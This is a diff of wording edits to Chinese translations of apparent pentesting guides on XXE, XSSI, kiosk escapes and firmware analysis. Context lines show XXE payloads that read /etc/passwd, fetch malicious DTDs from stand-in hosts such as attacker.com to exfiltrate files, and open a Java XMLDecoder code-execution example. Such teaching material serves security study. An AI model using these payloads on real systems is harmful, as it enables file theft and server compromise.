+Takeshi Terada 的研究介绍了另一种 XSSI 形式，其中 Non-Script 文件，如 CSV，通过作为 `script` 标签中的源被跨源泄露。历史上 XSSI 的实例，如 Jeremiah Grossman 在 2006 年的攻击以读取完整的 Google 地址簿和 Joe Walker 在 2007 年的 JSON 数据泄露，突显了这些威胁的严重性。此外，Gareth Heyes 描述了一种攻击变体，涉及使用 UTF-7 编码的 JSON 来逃避 JSON 格式并执行脚本，在某些浏览器中有效：
 ```javascript
 ;[
 {
diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md
index 6cbebf56f..3601f7bd0 100644
--- a/src/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/src/pentesting-web/xxe-xee-xml-external-entity.md
@@ -9,7 +9,7 @@ XML是一种用于数据存储和传输的标记语言，具有灵活的结构
 - **通过实体表示数据**：XML中的实体使得数据的表示成为可能，包括特殊字符如`&lt;`和`&gt;`，它们分别对应于`<`和`>`，以避免与XML的标签系统发生冲突。
 - **定义XML元素**：XML允许定义元素类型，概述元素应如何结构化以及可以包含哪些内容，从任何类型的内容到特定的子元素。
 - **文档类型定义（DTD）**：DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合，指导文档的格式和验证方式。
-- **自定义和外部实体**：XML支持在DTD中创建自定义实体，以实现灵活的数据表示。外部实体通过URL定义，带来了安全隐患，特别是在XML外部实体（XXE）攻击的背景下，这些攻击利用XML解析器处理外部数据源的方式：`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
+- **自定义和外部实体**：XML支持在DTD中创建自定义实体，以实现灵活的数据表示。外部实体通过URL定义，带来了安全隐患，特别是在XML外部实体（XXE）攻击的背景下，这些攻击利用了XML解析器处理外部数据源的方式：`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
 - **使用参数实体检测XXE**：为了检测XXE漏洞，特别是在常规方法因解析器安全措施而失败时，可以利用XML参数实体。这些实体允许使用带外检测技术，例如触发DNS查找或向受控域发出HTTP请求，以确认漏洞。
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@@ -20,7 +20,7 @@ XML是一种用于数据存储和传输的标记语言，具有灵活的结构
 
 ### 新实体测试
 
-在此攻击中，我将测试一个简单的新ENTITY声明是否有效。
+在这个攻击中，我将测试一个简单的新ENTITY声明是否有效。
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@@ -35,7 +35,7 @@ XML是一种用于数据存储和传输的标记语言，具有灵活的结构
 
 让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows，你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
 
-在这种情况下，请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
+在这个第一个案例中，请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
 ```xml
 <!--?xml version="1.0" ?-->
 <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@@ -110,10 +110,10 @@ XXE 可以被用来滥用云中的 SSRF
 - 创建一个 XML 参数实体 `%file`，读取 `/etc/hostname` 文件的内容。
 - 定义另一个 XML 参数实体 `%eval`。它动态声明一个新的 XML 参数实体 `%exfiltrate`。`%exfiltrate` 实体被设置为向攻击者的服务器发起 HTTP 请求，在 URL 的查询字符串中传递 `%file` 实体的内容。
 2. **实体的执行：**
-- 利用 `%eval` 实体，导致 `%exfiltrate` 实体的动态声明被执行。
+- 使用 `%eval` 实体，导致动态声明 `%exfiltrate` 实体的执行。
 - 然后使用 `%exfiltrate` 实体，触发对指定 URL 的 HTTP 请求，包含文件的内容。
 
-攻击者在其控制的服务器上托管此恶意 DTD，通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
+攻击者将这个恶意 DTD 托管在他们控制的服务器上，通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
 
 **XXE Payload:** 为了利用一个易受攻击的应用程序，攻击者发送一个 XXE payload：
 ```xml
@@ -121,7 +121,7 @@ XXE 可以被用来滥用云中的 SSRF
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-该有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时，该有效负载从攻击者的服务器获取外部 DTD。然后，解析器在线解释 DTD，执行恶意 DTD 中概述的步骤，导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
+这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时，这个有效负载从攻击者的服务器获取外部 DTD。解析器随后内联解释 DTD，执行恶意 DTD 中概述的步骤，导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
 
 ### 基于错误的（外部 DTD）
 
@@ -130,9 +130,9 @@ XXE 可以被用来滥用云中的 SSRF
 可以通过恶意外部文档类型定义（DTD）触发 XML 解析错误消息，揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的：
 
 1. 定义一个名为 `file` 的 XML 参数实体，其中包含 `/etc/passwd` 文件的内容。
-2. 定义一个名为 `eval` 的 XML 参数实体，包含另一个 XML 参数实体 `error` 的动态声明。当评估该 `error` 实体时，尝试加载一个不存在的文件，将 `file` 实体的内容作为其名称。
+2. 定义一个名为 `eval` 的 XML 参数实体，包含对另一个 XML 参数实体 `error` 的动态声明。当评估该 `error` 实体时，尝试加载一个不存在的文件，将 `file` 实体的内容作为其名称。
 3. 调用 `eval` 实体，导致 `error` 实体的动态声明。
-4. 调用 `error` 实体导致尝试加载一个不存在的文件，生成一个错误消息，其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
+4. 调用 `error` 实体导致尝试加载一个不存在的文件，产生一个错误消息，其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
 
 可以使用以下 XML 调用恶意外部 DTD：
 ```xml
@@ -140,17 +140,17 @@ XXE 可以被用来滥用云中的 SSRF
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-在执行时，web 服务器的响应应包含一个错误消息，显示 `/etc/passwd` 文件的内容。
+执行后，web 服务器的响应应包含一个错误消息，显示 `/etc/passwd` 文件的内容。
 
 ![](<../images/image (809).png>)
 
 _**请注意，外部 DTD 允许我们在第二个实体内部包含一个实体（\*\***`eval`\***\*），但在内部 DTD 中是禁止的。因此，通常情况下，您无法在不使用外部 DTD 的情况下强制产生错误。**_
 
-### **基于错误的 (系统 DTD)**
+### **基于错误（系统 DTD）**
 
-那么，当 **出带外交互被阻止**（外部连接不可用）时，盲 XXE 漏洞怎么办？
+那么，当 **出带交互被阻止**（外部连接不可用）时，盲 XXE 漏洞怎么办？
 
-XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据，当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体，从而促进基于错误的 XXE 攻击的执行。这种攻击利用了一个 XML 参数实体的重新定义，该实体最初在外部 DTD 中声明，从内部 DTD 中进行重新定义。当服务器阻止出带外连接时，攻击者必须依赖本地 DTD 文件进行攻击，旨在诱发解析错误以揭示敏感信息。
+XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据，当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体，从而促进基于错误的 XXE 攻击的执行。这种攻击利用了一个 XML 参数实体的重新定义，该实体最初在外部 DTD 中声明，从内部 DTD 中进行重新定义。当服务器阻止出带连接时，攻击者必须依赖本地 DTD 文件进行攻击，旨在诱发解析错误以揭示敏感信息。
 
 考虑一个场景，其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件，定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误，从而揭示 `/etc/passwd` 文件的内容，如下所示：
 ```xml
@@ -165,13 +165,13 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
 %local_dtd;
 ]>
 ```
-所述步骤由以下 DTD 执行：
+所述步骤由此 DTD 执行：
 
 - XML 参数实体 `local_dtd` 的定义包括位于服务器文件系统上的外部 DTD 文件。
 - 对 `custom_entity` XML 参数实体进行重新定义，该实体最初在外部 DTD 中定义，以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误，从而暴露 `/etc/passwd` 文件的内容。
 - 通过使用 `local_dtd` 实体，外部 DTD 被调用，包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出。
 
-**现实世界示例：** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 中具有一个 DTD，其中包含一个名为 `ISOamso` 的实体。
+**现实世界示例：** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处有一个 DTD，包含一个名为 `ISOamso` 的实体。
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [
@@ -203,7 +203,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
 
 {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
 
-此外，如果您拥有 **受害者系统的 Docker 镜像**，您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的 Readme](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
+此外，如果您拥有 **受害者系统的 Docker 镜像**，您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
 ```bash
 java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
 
@@ -221,7 +221,7 @@ Testing 0 entities : []
 
 许多网络应用程序提供**上传 Microsoft Office 文档的功能**，然后提取这些文档中的某些细节。例如，一个网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据，它不可避免地需要解析至少一个 XML 文件。
 
-要测试此漏洞，需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录，以便将文档解压缩到该目录中。
+要测试此漏洞，需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录，以便将文档解压缩到其中。
 
 一旦文档被解压缩，位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器（如 vim）中打开并编辑。XML 应修改以包含所需的 XXE 有效负载，通常以 HTTP 请求开头。
 
@@ -249,7 +249,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
 4. 读取存档中的特定文件 `file.zip`。
 5. 操作完成后，删除在此过程中创建的任何临时文件。
 
-在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点，包括 Python 服务器 (`slow_http_server.py`) 和 Java 服务器 (`slowserver.jar`)。
+在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一目的，包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
 ```xml
 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
 <foo>&xxe;</foo>
@@ -308,7 +308,7 @@ Responder.py -I eth0 -v
 
 ### XInclude
 
-在将客户端数据集成到服务器端 XML 文档中时，例如后端 SOAP 请求中的文档，通常对 XML 结构的直接控制是有限的，这使得由于对修改 `DOCTYPE` 元素的限制，传统的 XXE 攻击受到阻碍。然而，`XInclude` 攻击提供了解决方案，通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据，这种方法也是有效的。
+在将客户端数据集成到服务器端 XML 文档中时，例如后端 SOAP 请求中的文档，通常对 XML 结构的直接控制是有限的，这使得由于对 `DOCTYPE` 元素的修改限制，传统的 XXE 攻击受到阻碍。然而，`XInclude` 攻击提供了解决方案，通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据，这种方法也是有效的。
 
 要执行 `XInclude` 攻击，必须声明 `XInclude` 命名空间，并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例：
 ```xml
@@ -318,9 +318,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
 
 ### SVG - 文件上传
 
-用户上传到某些应用程序的文件，然后在服务器上处理，可以利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
+用户上传到某些应用程序的文件，然后在服务器上处理，可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
 
-当用户 **上传图像** 时，这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序，**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式，可以被攻击者利用来提交恶意 SVG 图像，从而使服务器暴露于 XXE (XML External Entity) 漏洞。
+当用户 **上传图像** 时，这些图像会在服务器端处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序，**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式，可能被攻击者利用来提交恶意 SVG 图像，从而使服务器暴露于 XXE (XML External Entity) 漏洞。
 
 下面展示了一个此类攻击的示例，其中恶意 SVG 图像试图读取系统文件：
 ```xml
@@ -334,7 +334,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
 ```
 在这两种情况下，SVG 格式被用来发起攻击，利用服务器软件的 XML 处理能力，突显了对强大输入验证和安全措施的需求。
 
-查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息！
+查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 以获取更多信息！
 
 **注意，读取文件的第一行或执行结果将出现在创建的图像内部。因此，您需要能够访问 SVG 创建的图像。**
 
@@ -406,7 +406,7 @@ Content-Type: application/xml;charset=UTF-8
 
 ### UTF-7
 
-您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7)%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7.
+您可以在这里使用 \[**"Encode Recipe**" of cyberchef\](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7%20%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4) 将其转换为 UTF-7。
 ```xml
 <!xml version="1.0" encoding="UTF-7"?-->
 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@@ -474,7 +474,7 @@ DTD 示例：
 
 这个例子灵感来源于 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
 
-XLIFF (XML Localization Interchange File Format) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式，主要用于在本地化过程中在工具之间传输可本地化数据，并作为 CAT (计算机辅助翻译) 工具的通用交换格式。
+XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式，主要用于在本地化过程中在工具之间传输可本地化数据，并作为 CAT (计算机辅助翻译) 工具的通用交换格式。
 
 ### Blind Request Analysis
 
@@ -521,11 +521,11 @@ Content-Type: application/x-xliff+xml
 %foo;
 %xxe;
 ```
-服务器响应错误，重要的是反映了不存在的文件，表明服务器正在尝试访问指定的文件：
+服务器响应错误，重要的是反映出不存在的文件，表明服务器正在尝试访问指定的文件：
 ```javascript
 {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
 ```
-要在错误消息中包含文件的内容，DTD 文件被调整：
+要在错误消息中包含文件的内容，需要调整 DTD 文件：
 ```xml
 <!ENTITY % data SYSTEM "file:///etc/passwd">
 <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
@@ -605,11 +605,11 @@ Content-Type: application/x-xliff+xml
 </channel>
 </rss>
 ```
-## Java XMLDecoder XEE to RCE
+## Java XMLDecoder XEE 到 RCE
 
 XMLDecoder 是一个 Java 类，它根据 XML 消息创建对象。如果恶意用户能够让应用程序在调用 **readObject** 方法时使用任意数据，他将立即获得服务器上的代码执行权限。
 
-### Using Runtime().exec()
+### 使用 Runtime().exec()
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <java version="1.7.0_21" class="java.beans.XMLDecoder">
@@ -673,11 +673,11 @@ XMLDecoder 是一个 Java 类，它根据 XML 消息创建对象。如果恶意
 
 {% embed url="https://github.com/luisfontes19/xxexploiter" %}
 
-## 参考资料
+## 参考文献
 
 - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
 - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
-- 通过使用自己的外部 DTD 提取信息 via HTTP: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
+- 通过 HTTP 使用自定义外部 DTD 提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
 - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
 - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md
index dbe13e1cb..dd7251ca0 100644
--- a/src/physical-attacks/escaping-from-gui-applications/README.md
+++ b/src/physical-attacks/escaping-from-gui-applications/README.md
@@ -20,7 +20,7 @@
 
 ## 命令执行
 
-也许**使用 `Open with`** 选项，您可以打开/执行某种 shell。
+也许**使用 `Open with` 选项**，您可以打开/执行某种 shell。
 
 ### Windows
 
@@ -109,7 +109,7 @@ _bash, sh, zsh..._ 更多信息请见：[https://gtfobins.github.io/](https://gt
 
 ### '图像工具栏'
 
-这是一个在图像被点击时出现在左上角的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk 需要使用 Internet Explorer。
+这是一个在单击图像时出现在左上角的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk 需要使用 Internet Explorer。
 
 ### Shell 协议
 
@@ -159,7 +159,7 @@ _bash, sh, zsh..._ 更多信息请见：[https://gtfobins.github.io/](https://gt
 
 - 用四个或五个手指向一个方向滑动：以更改到下一个/上一个应用程序
 
-- 用五个手指捏合屏幕 / 按住主屏幕按钮 / 用一根手指快速从屏幕底部向上滑动：访问主屏幕
+- 用五个手指捏合屏幕 / 按下主屏幕按钮 / 用一根手指快速从屏幕底部向上滑动：访问主屏幕
 
 - 用一根手指从屏幕底部滑动 1-2 英寸（慢）：停靠栏将出现
 
@@ -175,7 +175,7 @@ _bash, sh, zsh..._ 更多信息请见：[https://gtfobins.github.io/](https://gt
 
 - 按住右上角的开/关/睡眠按钮和主屏幕按钮几秒钟：强制硬关机
 
-- 快速按住右上角的开/关/睡眠按钮和主屏幕按钮：截屏，截屏将弹出在显示器的左下角。两者同时按下非常短暂，如果按住几秒钟将执行硬关机。
+- 快速按右上角的开/关/睡眠按钮和主屏幕按钮：截屏，截屏将弹出在显示器的左下角。两者同时按下非常短暂，如果按住几秒钟将执行硬关机。
 
 ## 快捷键
 
@@ -229,14 +229,14 @@ _bash, sh, zsh..._ 更多信息请见：[https://gtfobins.github.io/](https://gt
 | Escape                                             | 返回按钮                                             |
 | → (右箭头)                                    | 下一个项目                                               |
 | ← (左箭头)                                     | 上一个项目                                           |
-| ↑↓ (上箭头, 下箭头)                          | 同时点击选定项目                        |
+| ↑↓ (上箭头, 下箭头)                          | 同时点击选定的项目                        |
 | ⌥ ↓ (Option-Down arrow)                            | 向下滚动                                             |
 | ⌥↑ (Option-Up arrow)                               | 向上滚动                                               |
 | ⌥← 或 ⌥→ (Option-Left arrow 或 Option-Right arrow) | 向左或向右滚动                                    |
 | ^⌥S (Control-Option-S)                             | 开启或关闭 VoiceOver 语音                         |
 | ⌘⇧⇥ (Command-Shift-Tab)                            | 切换到上一个应用程序                              |
 | ⌘⇥ (Command-Tab)                                   | 切换回原始应用程序                         |
-| ←+→, 然后 Option + ← 或 Option+→                   | 在停靠栏中导航                                   |
+| ←+→，然后 Option + ← 或 Option+→                   | 在停靠栏中导航                                   |
 
 ### Safari 快捷键
 
diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md
index d658feac9..0274a433a 100644
--- a/src/physical-attacks/firmware-analysis/README.md
+++ b/src/physical-attacks/firmware-analysis/README.md
@@ -19,7 +19,7 @@
 - 架构和流程图
 - 安全评估和已识别的漏洞
 
-为此，**开源情报（OSINT）**工具是不可或缺的，同时通过手动和自动审查过程分析任何可用的开源软件组件也很重要。像[Coverity Scan](https://scan.coverity.com)和[Semmle’s LGTM](https://lgtm.com/#explore)这样的工具提供免费的静态分析，可以用来发现潜在问题。
+为此，**开源情报（OSINT）**工具是不可或缺的，分析任何可用的开源软件组件通过手动和自动审查过程也同样重要。像[Coverity Scan](https://scan.coverity.com)和[Semmle’s LGTM](https://lgtm.com/#explore)这样的工具提供免费的静态分析，可以用来发现潜在问题。
 
 ## **获取固件**
 
@@ -29,7 +29,7 @@
 - **根据**提供的说明进行**构建**
 - **从**官方支持网站**下载**
 - 利用**Google dork**查询查找托管的固件文件
-- 直接访问**云存储**，使用工具如[S3Scanner](https://github.com/sa7mon/S3Scanner)
+- 直接访问**云存储**，使用像[S3Scanner](https://github.com/sa7mon/S3Scanner)这样的工具
 - 通过中间人技术**拦截**更新
 - 通过**UART**、**JTAG**或**PICit**等连接**提取**设备中的固件
 - 在设备通信中**嗅探**更新请求
@@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head # might find signatures in header
 fdisk -lu <bin> #lists a drives partition and filesystems if multiple
 ```
-如果你使用这些工具没有找到太多信息，可以使用 `binwalk -E <bin>` 检查图像的 **熵**，如果熵低，那么它不太可能被加密。如果熵高，则很可能被加密（或以某种方式压缩）。
+如果你使用这些工具没有找到太多信息，可以使用 `binwalk -E <bin>` 检查图像的 **entropy**，如果熵低，那么它不太可能被加密。如果熵高，则可能被加密（或以某种方式压缩）。
 
 此外，你可以使用这些工具提取 **嵌入固件中的文件**：
 
@@ -61,11 +61,11 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
 ### 获取文件系统
 
 使用之前提到的工具，如 `binwalk -ev <bin>`，你应该能够 **提取文件系统**。\
-Binwalk 通常会将其提取到一个 **以文件系统类型命名的文件夹** 中，通常是以下之一：squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs。
+Binwalk 通常会将其提取到一个 **以文件系统类型命名的文件夹** 中，通常是以下之一：squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
 
 #### 手动文件系统提取
 
-有时，binwalk **在其签名中没有文件系统的魔术字节**。在这些情况下，使用 binwalk **找到文件系统的偏移量并从二进制文件中切割压缩的文件系统**，并根据其类型使用以下步骤 **手动提取** 文件系统。
+有时，binwalk **在其签名中没有文件系统的魔术字节**。在这些情况下，使用 binwalk **查找文件系统的偏移量并从二进制文件中切割压缩的文件系统**，并根据其类型使用以下步骤 **手动提取** 文件系统。
 ```
 $ binwalk DIR850L_REVB.bin
 
@@ -117,7 +117,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 
 ### 初步分析工具
 
-提供了一组命令用于对二进制文件（称为 `<bin>`）进行初步检查。这些命令有助于识别文件类型、提取字符串、分析二进制数据以及理解分区和文件系统细节：
+提供了一组命令用于对二进制文件（称为 `<bin>`）进行初步检查。这些命令有助于识别文件类型、提取字符串、分析二进制数据以及理解分区和文件系统的细节：
 ```bash
 file <bin>
 strings -n8 <bin>
@@ -128,7 +128,7 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 ```
 为了评估图像的加密状态，使用 `binwalk -E <bin>` 检查 **entropy**。低熵表明缺乏加密，而高熵则表示可能存在加密或压缩。
 
-对于提取 **embedded files**，建议使用 **file-data-carving-recovery-tools** 文档和 **binvis.io** 进行文件检查的工具和资源。
+对于提取 **embedded files**，推荐使用 **file-data-carving-recovery-tools** 文档和 **binvis.io** 进行文件检查的工具和资源。
 
 ### 提取文件系统
 
@@ -168,7 +168,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 
 ### 模拟单个二进制文件
 
-在检查单个程序时，识别程序的字节序和 CPU 架构至关重要。
+检查单个程序时，识别程序的字节序和 CPU 架构至关重要。
 
 #### MIPS 架构示例
 
@@ -192,7 +192,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
 
 ## 实践中的动态分析
 
-在此阶段，使用真实或仿真设备环境进行分析。保持对操作系统和文件系统的 shell 访问至关重要。仿真可能无法完美模拟硬件交互，因此需要偶尔重新启动仿真。分析应重新访问文件系统，利用暴露的网页和网络服务，并探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
+在这个阶段，使用真实或仿真的设备环境进行分析。保持对操作系统和文件系统的 shell 访问是至关重要的。仿真可能无法完美模拟硬件交互，因此需要偶尔重新启动仿真。分析应重新访问文件系统，利用暴露的网页和网络服务，并探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
 
 ## 运行时分析技术
 
@@ -200,7 +200,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
 
 ## 二进制利用和概念验证
 
-为识别的漏洞开发 PoC 需要对目标架构和低级语言编程有深入理解。嵌入式系统中的二进制运行时保护很少见，但在存在时，可能需要使用如返回导向编程（ROP）等技术。
+为识别的漏洞开发 PoC 需要对目标架构和低级语言编程有深入理解。嵌入式系统中的二进制运行时保护很少，但在存在时，可能需要使用如返回导向编程（ROP）等技术。
 
 ## 准备好的操作系统用于固件分析
 
@@ -208,7 +208,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
 
 ## 准备好的操作系统用于分析固件
 
-- [**AttifyOS**](https://github.com/adi0x90/attifyos)：AttifyOS 是一个旨在帮助您对物联网（IoT）设备进行安全评估和渗透测试的发行版。它通过提供一个预配置的环境，加载所有必要工具，节省了您大量时间。
+- [**AttifyOS**](https://github.com/adi0x90/attifyos)：AttifyOS 是一个旨在帮助您对物联网（IoT）设备进行安全评估和渗透测试的发行版。它通过提供一个预配置的环境，加载所有必要的工具，为您节省了大量时间。
 - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS)：基于 Ubuntu 18.04 的嵌入式安全测试操作系统，预装固件安全测试工具。
 
 ## 漏洞固件练习
diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md
index 96b1ec1df..ec0bbf9ca 100644
--- a/src/physical-attacks/firmware-analysis/bootloader-testing.md
+++ b/src/physical-attacks/firmware-analysis/bootloader-testing.md
@@ -2,13 +2,13 @@
 
 以下步骤建议用于修改设备启动配置和引导加载程序，如 U-boot：
 
-1. **访问引导加载程序的解释器 shell**：
+1. **访问引导加载程序的解释器 Shell**：
 
-- 在启动期间，按 "0"、空格或其他识别的 "魔法代码" 以访问引导加载程序的解释器 shell。
+- 在启动期间，按 "0"、空格或其他识别的 "魔法代码" 以访问引导加载程序的解释器 Shell。
 
